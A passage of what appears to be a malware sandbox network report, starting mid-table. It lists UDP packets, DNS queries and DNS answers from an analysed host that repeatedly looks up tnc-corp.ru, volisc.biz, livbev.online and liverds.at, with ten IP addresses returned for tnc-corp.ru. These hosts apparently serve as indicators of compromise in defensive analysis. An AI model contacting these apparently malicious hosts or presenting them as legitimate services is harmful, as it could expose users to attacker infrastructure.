Oct 24, 2024 18:40:00.125298977 CEST	56440	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:02.138252020 CEST	56440	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:04.223443985 CEST	53	56440	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:04.223489046 CEST	53	56440	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:04.223519087 CEST	53	56440	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:04.223643064 CEST	53	56440	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:09.297966003 CEST	63112	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:10.294504881 CEST	63112	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:11.310251951 CEST	63112	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:11.609256029 CEST	53	63112	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:11.609308958 CEST	53	63112	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:11.609339952 CEST	53	63112	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:12.359304905 CEST	51031	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:13.372755051 CEST	51031	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:14.388329029 CEST	51031	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:16.405164957 CEST	51031	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:18.584759951 CEST	53	51031	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:18.584814072 CEST	53	51031	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:18.584844112 CEST	53	51031	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:18.584871054 CEST	53	51031	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:18.596683025 CEST	50723	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:18.607841015 CEST	53	50723	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:18.610503912 CEST	53235	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:19.622826099 CEST	53235	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:20.622656107 CEST	53235	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:22.638307095 CEST	53235	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:22.690511942 CEST	53	53235	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:22.690557003 CEST	53	53235	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:22.690587997 CEST	53	53235	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:22.690624952 CEST	53	53235	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:27.322776079 CEST	63634	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:28.315013885 CEST	63634	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:29.332726955 CEST	63634	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:31.327733994 CEST	63634	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:33.543411016 CEST	53	63634	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:33.543457985 CEST	53	63634	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:33.543488026 CEST	53	63634	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:33.543524027 CEST	53	63634	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:33.547537088 CEST	59129	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:33.558007956 CEST	53	59129	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:33.560375929 CEST	50813	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:34.565747976 CEST	50813	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:35.564198971 CEST	50813	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:37.954163074 CEST	50813	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:39.825125933 CEST	53	50813	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:39.825176001 CEST	53	50813	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:39.825206041 CEST	53	50813	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:39.825730085 CEST	53	50813	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:45.712955952 CEST	51407	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:46.724524975 CEST	51407	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:47.736038923 CEST	51407	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:49.733963013 CEST	51407	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:51.966073036 CEST	53	51407	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:51.966123104 CEST	53	51407	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:51.966160059 CEST	53	51407	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:51.966187954 CEST	53	51407	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:51.980016947 CEST	51548	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:51.989211082 CEST	53	51548	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:51.991645098 CEST	58951	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:53.001231909 CEST	58951	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:54.016474962 CEST	58951	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:56.034240961 CEST	58951	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:40:58.242844105 CEST	53	58951	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:58.242886066 CEST	53	58951	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:58.242913961 CEST	53	58951	1.1.1.1	192.168.2.4
Oct 24, 2024 18:40:58.243598938 CEST	53	58951	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:03.453121901 CEST	51713	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:04.451117039 CEST	51713	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:05.466629982 CEST	51713	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:07.466615915 CEST	51713	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:09.679297924 CEST	53	51713	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:09.679366112 CEST	53	51713	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:09.679379940 CEST	53	51713	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:09.679398060 CEST	53	51713	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:09.685657978 CEST	54716	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:09.694380999 CEST	53	54716	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:09.702735901 CEST	59762	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:10.718682051 CEST	59762	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:11.716528893 CEST	59762	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:13.716519117 CEST	59762	53	192.168.2.4	1.1.1.1
Oct 24, 2024 18:41:16.406060934 CEST	53	59762	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:16.406099081 CEST	53	59762	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:16.406109095 CEST	53	59762	1.1.1.1	192.168.2.4
Oct 24, 2024 18:41:16.406213045 CEST	53	59762	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 18:37:36.562937975 CEST	192.168.2.4	1.1.1.1	0x4adf	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:37.560062885 CEST	192.168.2.4	1.1.1.1	0x4adf	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.575629950 CEST	192.168.2.4	1.1.1.1	0x4adf	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:39.708722115 CEST	192.168.2.4	1.1.1.1	0x7af7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:40.700933933 CEST	192.168.2.4	1.1.1.1	0x7af7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:41.716922045 CEST	192.168.2.4	1.1.1.1	0x7af7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:43.731969118 CEST	192.168.2.4	1.1.1.1	0x7af7	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:45.990561962 CEST	192.168.2.4	1.1.1.1	0x3612	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:46.004443884 CEST	192.168.2.4	1.1.1.1	0xb070	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:46.997514009 CEST	192.168.2.4	1.1.1.1	0xb070	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:48.013371944 CEST	192.168.2.4	1.1.1.1	0xb070	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:50.043087006 CEST	192.168.2.4	1.1.1.1	0xb070	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:38:58.528233051 CEST	192.168.2.4	1.1.1.1	0xaea2	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:38:59.517595053 CEST	192.168.2.4	1.1.1.1	0xaea2	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:00.532829046 CEST	192.168.2.4	1.1.1.1	0xaea2	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:02.544687986 CEST	192.168.2.4	1.1.1.1	0xaea2	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:04.782851934 CEST	192.168.2.4	1.1.1.1	0x1c4e	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:04.871172905 CEST	192.168.2.4	1.1.1.1	0xed8a	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:05.873804092 CEST	192.168.2.4	1.1.1.1	0xed8a	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:06.894021034 CEST	192.168.2.4	1.1.1.1	0xed8a	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:08.894138098 CEST	192.168.2.4	1.1.1.1	0xed8a	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:12.166372061 CEST	192.168.2.4	1.1.1.1	0x2e23	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:13.153822899 CEST	192.168.2.4	1.1.1.1	0x2e23	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:20.863650084 CEST	192.168.2.4	1.1.1.1	0xda34	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:20.897675037 CEST	192.168.2.4	1.1.1.1	0x236	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:21.888170958 CEST	192.168.2.4	1.1.1.1	0x236	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:22.904638052 CEST	192.168.2.4	1.1.1.1	0x236	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:24.919538021 CEST	192.168.2.4	1.1.1.1	0x236	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:31.873675108 CEST	192.168.2.4	1.1.1.1	0x256b	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:32.872932911 CEST	192.168.2.4	1.1.1.1	0x256b	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:40.589396954 CEST	192.168.2.4	1.1.1.1	0x6b8e	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:40.604391098 CEST	192.168.2.4	1.1.1.1	0xd3a0	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:41.592582941 CEST	192.168.2.4	1.1.1.1	0xd3a0	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:42.609253883 CEST	192.168.2.4	1.1.1.1	0xd3a0	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:44.624702930 CEST	192.168.2.4	1.1.1.1	0xd3a0	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:51.826590061 CEST	192.168.2.4	1.1.1.1	0xe9dc	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:52.845719099 CEST	192.168.2.4	1.1.1.1	0xe9dc	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:53.858628035 CEST	192.168.2.4	1.1.1.1	0xe9dc	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:55.876540899 CEST	192.168.2.4	1.1.1.1	0xe9dc	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:58.101263046 CEST	192.168.2.4	1.1.1.1	0xf7fa	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:58.113786936 CEST	192.168.2.4	1.1.1.1	0x5143	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:59.107065916 CEST	192.168.2.4	1.1.1.1	0x5143	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:00.125298977 CEST	192.168.2.4	1.1.1.1	0x5143	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:02.138252020 CEST	192.168.2.4	1.1.1.1	0x5143	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:09.297966003 CEST	192.168.2.4	1.1.1.1	0xaf62	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:10.294504881 CEST	192.168.2.4	1.1.1.1	0xaf62	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.310251951 CEST	192.168.2.4	1.1.1.1	0xaf62	Standard query (0)	tnc-corp.ru	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:12.359304905 CEST	192.168.2.4	1.1.1.1	0xed1f	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:13.372755051 CEST	192.168.2.4	1.1.1.1	0xed1f	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:14.388329029 CEST	192.168.2.4	1.1.1.1	0xed1f	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:16.405164957 CEST	192.168.2.4	1.1.1.1	0xed1f	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:18.596683025 CEST	192.168.2.4	1.1.1.1	0x647d	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:18.610503912 CEST	192.168.2.4	1.1.1.1	0x4f05	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:19.622826099 CEST	192.168.2.4	1.1.1.1	0x4f05	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:20.622656107 CEST	192.168.2.4	1.1.1.1	0x4f05	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:22.638307095 CEST	192.168.2.4	1.1.1.1	0x4f05	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:27.322776079 CEST	192.168.2.4	1.1.1.1	0xa3	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:28.315013885 CEST	192.168.2.4	1.1.1.1	0xa3	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:29.332726955 CEST	192.168.2.4	1.1.1.1	0xa3	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:31.327733994 CEST	192.168.2.4	1.1.1.1	0xa3	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:33.547537088 CEST	192.168.2.4	1.1.1.1	0xa1c4	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:33.560375929 CEST	192.168.2.4	1.1.1.1	0x6fb9	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:34.565747976 CEST	192.168.2.4	1.1.1.1	0x6fb9	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:35.564198971 CEST	192.168.2.4	1.1.1.1	0x6fb9	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:37.954163074 CEST	192.168.2.4	1.1.1.1	0x6fb9	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:45.712955952 CEST	192.168.2.4	1.1.1.1	0x5737	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:46.724524975 CEST	192.168.2.4	1.1.1.1	0x5737	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:47.736038923 CEST	192.168.2.4	1.1.1.1	0x5737	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:49.733963013 CEST	192.168.2.4	1.1.1.1	0x5737	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:51.980016947 CEST	192.168.2.4	1.1.1.1	0xc66d	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:51.991645098 CEST	192.168.2.4	1.1.1.1	0x1c4b	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:53.001231909 CEST	192.168.2.4	1.1.1.1	0x1c4b	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:54.016474962 CEST	192.168.2.4	1.1.1.1	0x1c4b	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:56.034240961 CEST	192.168.2.4	1.1.1.1	0x1c4b	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:03.453121901 CEST	192.168.2.4	1.1.1.1	0x61e5	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:04.451117039 CEST	192.168.2.4	1.1.1.1	0x61e5	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:05.466629982 CEST	192.168.2.4	1.1.1.1	0x61e5	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:07.466615915 CEST	192.168.2.4	1.1.1.1	0x61e5	Standard query (0)	volisc.biz	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:09.685657978 CEST	192.168.2.4	1.1.1.1	0x8f3b	Standard query (0)	livbev.online	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:09.702735901 CEST	192.168.2.4	1.1.1.1	0x6b31	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:10.718682051 CEST	192.168.2.4	1.1.1.1	0x6b31	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:11.716528893 CEST	192.168.2.4	1.1.1.1	0x6b31	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:13.716519117 CEST	192.168.2.4	1.1.1.1	0x6b31	Standard query (0)	liverds.at	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		189.164.127.217	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.137.126.27	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		189.61.54.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		201.124.145.196	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.46.236.4	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.101.193.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807322979 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		187.204.82.117	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		189.164.127.217	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.137.126.27	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		189.61.54.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		201.124.145.196	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.46.236.4	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.101.193.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807343960 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		187.204.82.117	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		189.164.127.217	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.137.126.27	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		189.61.54.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		201.124.145.196	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.46.236.4	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		186.101.193.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:38.807356119 CEST	1.1.1.1	192.168.2.4	0x4adf	No error (0)	tnc-corp.ru		187.204.82.117	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:45.982157946 CEST	1.1.1.1	192.168.2.4	0x7af7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:45.982176065 CEST	1.1.1.1	192.168.2.4	0x7af7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:45.982188940 CEST	1.1.1.1	192.168.2.4	0x7af7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:45.982542992 CEST	1.1.1.1	192.168.2.4	0x7af7	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:46.001085043 CEST	1.1.1.1	192.168.2.4	0x3612	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:52.265104055 CEST	1.1.1.1	192.168.2.4	0xb070	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:52.265126944 CEST	1.1.1.1	192.168.2.4	0xb070	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:52.265140057 CEST	1.1.1.1	192.168.2.4	0xb070	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:37:52.265301943 CEST	1.1.1.1	192.168.2.4	0xb070	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:04.717839956 CEST	1.1.1.1	192.168.2.4	0xaea2	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:04.717888117 CEST	1.1.1.1	192.168.2.4	0xaea2	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:04.717899084 CEST	1.1.1.1	192.168.2.4	0xaea2	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:04.717907906 CEST	1.1.1.1	192.168.2.4	0xaea2	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:04.793390036 CEST	1.1.1.1	192.168.2.4	0x1c4e	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:11.105513096 CEST	1.1.1.1	192.168.2.4	0xed8a	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:11.105526924 CEST	1.1.1.1	192.168.2.4	0xed8a	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:11.105535030 CEST	1.1.1.1	192.168.2.4	0xed8a	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:11.105869055 CEST	1.1.1.1	192.168.2.4	0xed8a	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:18.460525036 CEST	1.1.1.1	192.168.2.4	0x2e23	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:20.873910904 CEST	1.1.1.1	192.168.2.4	0xda34	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:27.112010002 CEST	1.1.1.1	192.168.2.4	0x236	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:27.112081051 CEST	1.1.1.1	192.168.2.4	0x236	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:27.112111092 CEST	1.1.1.1	192.168.2.4	0x236	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
